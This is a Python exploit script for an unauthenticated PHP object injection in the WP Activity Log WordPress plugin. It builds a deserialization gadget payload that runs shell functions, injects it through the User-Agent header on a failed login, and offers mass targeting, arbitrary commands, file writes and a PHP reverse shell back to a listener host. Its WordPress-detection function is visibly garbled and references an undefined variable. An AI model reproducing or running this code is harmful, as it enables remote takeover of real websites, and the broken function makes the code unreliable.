#!/usr/bin/env python3 # Exploit Title: WP Activity Log <= 5.6.3.1 - Unauthenticated PHP Object Injection # Date: 2026-06-22 # Exploit Author: Joshua van der Poll # Vendor Homepage: https://melapress.com/wordpress-activity-log/ # Software Link: https://downloads.wordpress.org/plugin/wp-security-audit-log.5.6.3.1.zip # Version: <= 5.6.3.1 # Tested on: WordPress 6.4.1 / PHP 8.3 / Debian # CVE: CVE-2026-54806 # CVE-2026-54806 — WP Activity Log Unauthenticated PHP Object Injection # Affected: WP Activity Log (wp-security-audit-log) <= 5.6.3.1 # Impact: Unauthenticated PHP Object Injection via User-Agent header on any logged event # CWE-502: Deserialization of Untrusted Data | CVSS 9.8 # Author: Joshua van der Poll (https://github.com/joshuavanderpoll) # Repo: https://github.com/joshuavanderpoll/CVE-2026-54806 import argparse import random import re import string import sys import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) REPO_URL = "https://github.com/joshuavanderpoll/CVE-2026-54806" PROJECT_NAME = "CVE-2026-54806" RESET = "\033[0m" BOLD = "\033[1m" RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" PINK = "\033[95m" CYAN = "\033[96m" DEFAULT_UA = f"Mozilla/5.0 AppleWebKit/537.36 ({PROJECT_NAME}; +{REPO_URL})" DEFAULT_TIMEOUT = 15 # WP_HTML_Token gadget: __destruct → call_user_func($on_destroy, $bookmark_name) # Only WP core class with all-public properties (survives sanitize_text_field) and # a usable magic method. Present in WordPress 6.4.0 - 6.4.1 (__wakeup blocker added in 6.4.2). CHAIN_WP_VERSIONS = "6.4.0 - 6.4.1" EXEC_FUNCTIONS = ["system", "passthru", "exec", "shell_exec"] def banner(): art = r""" ______ ______ ___ ___ ___ ____ ____ ____ ___ ___ ____ / ___/ | / / __/___|_ |/ _ \|_ |/ __/____/ __// / /( _ )/ _ \/ __/ / /__ | |/ / _//___/ __// // / __// _ \/___/__ \/_ _/ _ / // / _ \ \___/ |___/___/ /____/\___/____/\___/ /____/ /_/ \___/\___/\___/ """ print(f"{PINK}{art}{RESET}") print(f" {BOLD}{PINK}{REPO_URL}{RESET}") print() def info(msg): print(f" {BLUE}[*]{RESET} {msg}") def success(msg): print(f" {GREEN}[+]{RESET} {msg}") def error(msg): print(f" {RED}[-]{RESET} {msg}") def processing(msg): print(f" {CYAN}[@]{RESET} {msg}") def question(msg): return input(f" {YELLOW}[?]{RESET} {msg}") def normalize_url(target): target = target.strip().rstrip("/") if not target.startswith("http://") and not target.startswith("https://"): target = "http://" + target return target def get_session(useragent, timeout, verify_ssl=False): session = requests.Session() session.headers.update({"User-Agent": useragent}) session.timeout = timeout session.verify = verify_ssl return session def detect_wordpress(session, target, login_path="/wp-login.php"): processing("Detecting WordPress") try: resp = session.get(f"{target}{login_path}", allow_redirects=True) except requests.RequestException as e: error(f"Could not reach target: {e}") return False if "wp-submit" not in resp.text: error("Target does not appear to be WordPress (use --skip-wp-check to bypass)") return False success("WordPress detected") wp_version = None meta_match = re.search( r'https://wordpress.org/\?v=([\d.]+)", feed_resp.text, ) if feed_match: wp_version = feed_match.group(1) except requests.RequestException: pass if wp_version: info(f"WordPress version: {BOLD}{wp_version}{RESET}") return True def detect_plugin(session, target): processing("Detecting WP Activity Log") readme_url = f"{target}/wp-content/plugins/wp-security-audit-log/readme.txt" try: resp = session.get(readme_url) except requests.RequestException: error("Could not check plugin readme") return None if resp.status_code != 200 or "WP Activity Log" not in resp.text: error("WP Activity Log not detected (readme.txt not accessible)") return None success("WP Activity Log detected") version_match = re.search(r"Stable tag:\s*([\d.]+)", resp.text) if version_match: version = version_match.group(1) info(f"Plugin version: {BOLD}{version}{RESET}") return version return "unknown" def generate_payload(command, func="system"): cmd_len = len(command) func_len = len(func) payload = ( f'O:13:"WP_HTML_Token":2:{{s:13:"bookmark_name";' f's:{cmd_len}:"{command}";' f's:10:"on_destroy";s:{func_len}:"{func}";}}' ) if len(payload) > 255: error(f"Payload too long ({len(payload)}/255) — shorten command") return None return payload def inject_payload(session, target, payload, login_path="/wp-login.php"): random_user = "wsal_" + "".join(random.choices(string.ascii_lowercase, k=6)) try: resp = session.post( f"{target}{login_path}", data={ "log": random_user, "pwd": "invalid", "wp-submit": "Log In", "testcookie": "1", }, headers={"User-Agent": payload}, allow_redirects=False, ) except requests.RequestException as e: error(f"Injection request failed: {e}") return False if resp.status_code in (200, 302): return True error(f"Unexpected response: HTTP {resp.status_code}") return False def deliver(session, target, command, args): info(f"Gadget: {BOLD}WP_HTML_Token{RESET} (WordPress {CHAIN_WP_VERSIONS})") for func in EXEC_FUNCTIONS: processing(f"Trying {BOLD}{func}(){RESET}") payload = generate_payload(command, func) if payload is None: continue info(f"Payload length: {len(payload)}/255") if inject_payload(session, target, payload, args.login_path): success(f'Payload injected: {BOLD}{func}("{command}"){RESET}') info(f"Payload: {BOLD}{payload}{RESET}") success( "Command executes (blind) when an admin visits the WordPress dashboard" ) return True error("Injection failed") return False def print_footer(): print() info(f"{YELLOW}Remediation:{RESET}") info("Update WP Activity Log to >= 5.6.4") print() print( f" {YELLOW}⭐ If this tool helped you, consider starring the repo: " f"{BOLD}{YELLOW}{REPO_URL}{RESET}" ) def run_check(args): targets = get_targets(args) for target in targets: print() info(f"Target: {BOLD}{target}{RESET}") session = get_session(args.useragent, args.timeout) if not args.skip_wp_check: if not detect_wordpress(session, target, args.login_path): continue plugin_version = detect_plugin(session, target) if plugin_version is None: continue marker = "wsal_poi_" + "".join(random.choices(string.ascii_lowercase, k=8)) check_payload = f'a:1:{{s:6:"marker";s:{len(marker)}:"{marker}";}}' processing("Injecting check payload via failed login") if inject_payload(session, target, check_payload, args.login_path): success("Payload injected via User-Agent on failed login") info(f"Payload: {BOLD}{check_payload}{RESET}") success( f"Target is {BOLD}VULNERABLE{RESET} — unauthenticated PHP Object Injection" ) info("Stored User-Agent passes through sanitize_text_field() intact") info( "Retrieval calls maybe_unserialize() without allowed_classes restriction" ) info("Triggers when admin visits WordPress dashboard") def run_command(args): targets = get_targets(args) for target in targets: print() info(f"Target: {BOLD}{target}{RESET}") session = get_session(args.useragent, args.timeout) if not args.skip_wp_check: if not detect_wordpress(session, target, args.login_path): continue if detect_plugin(session, target) is None: continue if deliver(session, target, args.command, args): print_footer() return def run_shell(args): targets = get_targets(args) for target in targets: print() info(f"Target: {BOLD}{target}{RESET}") session = get_session(args.useragent, args.timeout) if not args.skip_wp_check: if not detect_wordpress(session, target, args.login_path): continue if detect_plugin(session, target) is None: continue shell_cmd = ( f'php -r \'$s=fsockopen("{args.lhost}",{args.lport});' f'$p=proc_open("sh",array(0=>$s,1=>$s,2=>$s),$pipes);\'' ) info(f"Reverse shell: {BOLD}{args.lhost}:{args.lport}{RESET} (PHP fsockopen)") if deliver(session, target, shell_cmd, args): info(f"Start listener: {BOLD}nc -lvnp {args.lport}{RESET}") print_footer() return def run_write_file(args): targets = get_targets(args) content, path = args.write_file for target in targets: print() info(f"Target: {BOLD}{target}{RESET}") session = get_session(args.useragent, args.timeout) if not args.skip_wp_check: if not detect_wordpress(session, target, args.login_path): continue if detect_plugin(session, target) is None: continue write_cmd = f"echo '{content}' > {path}" if deliver(session, target, write_cmd, args): info(f"Path: {BOLD}{path}{RESET}") print_footer() return def get_targets(args): targets = [] if args.target: targets.append(normalize_url(args.target)) if args.target_list: try: with open(args.target_list, "r") as f: for line in f: line = line.strip() if line and not line.startswith("#"): targets.append(normalize_url(line)) except FileNotFoundError: error(f"Target list not found: {args.target_list}") sys.exit(1) if not targets: error("No targets specified. Use -t or -l ") sys.exit(1) return targets def main(): banner() parser = argparse.ArgumentParser( description="CVE-2026-54806 — WP Activity Log Unauthenticated PHP Object Injection", formatter_class=argparse.RawTextHelpFormatter, ) parser.add_argument("-t", "--target", help="Target WordPress URL") parser.add_argument("-l", "--target-list", help="File with list of target URLs") actions = parser.add_argument_group("actions") actions.add_argument( "--check", action="store_true", help="Check if target is vulnerable" ) actions.add_argument("--command", help="Command to execute on target") actions.add_argument( "--shell", action="store_true", help="Inject reverse shell (requires --lhost and --lport)", ) actions.add_argument( "--write-file", nargs=2, metavar=("CONTENT", "PATH"), help="Write file on target", ) shell_opts = parser.add_argument_group("shell options") shell_opts.add_argument("--lhost", help="Listener host for reverse shell") shell_opts.add_argument("--lport", help="Listener port for reverse shell") tuning = parser.add_argument_group("tuning") tuning.add_argument( "--skip-wp-check", action="store_true", help="Skip WordPress detection", ) tuning.add_argument( "--login-path", default="/wp-login.php", help="Custom login path (default: /wp-login.php)", ) tuning.add_argument( "--useragent", default=DEFAULT_UA, help="Custom User-Agent for non-payload requests", ) tuning.add_argument( "--timeout", type=int, default=DEFAULT_TIMEOUT, help="HTTP request timeout in seconds", ) args = parser.parse_args() if not args.target and not args.target_list: error("No target specified. Use -t or -l ") sys.exit(1) if args.check: run_check(args) elif args.command: run_command(args) elif args.shell: if not args.lhost or not args.lport: error("--shell requires --lhost and --lport") sys.exit(1) run_shell(args) elif args.write_file: run_write_file(args) else: error("No action specified. Use --check, --command, --shell, or --write-file") sys.exit(1) if __name__ == "__main__": main()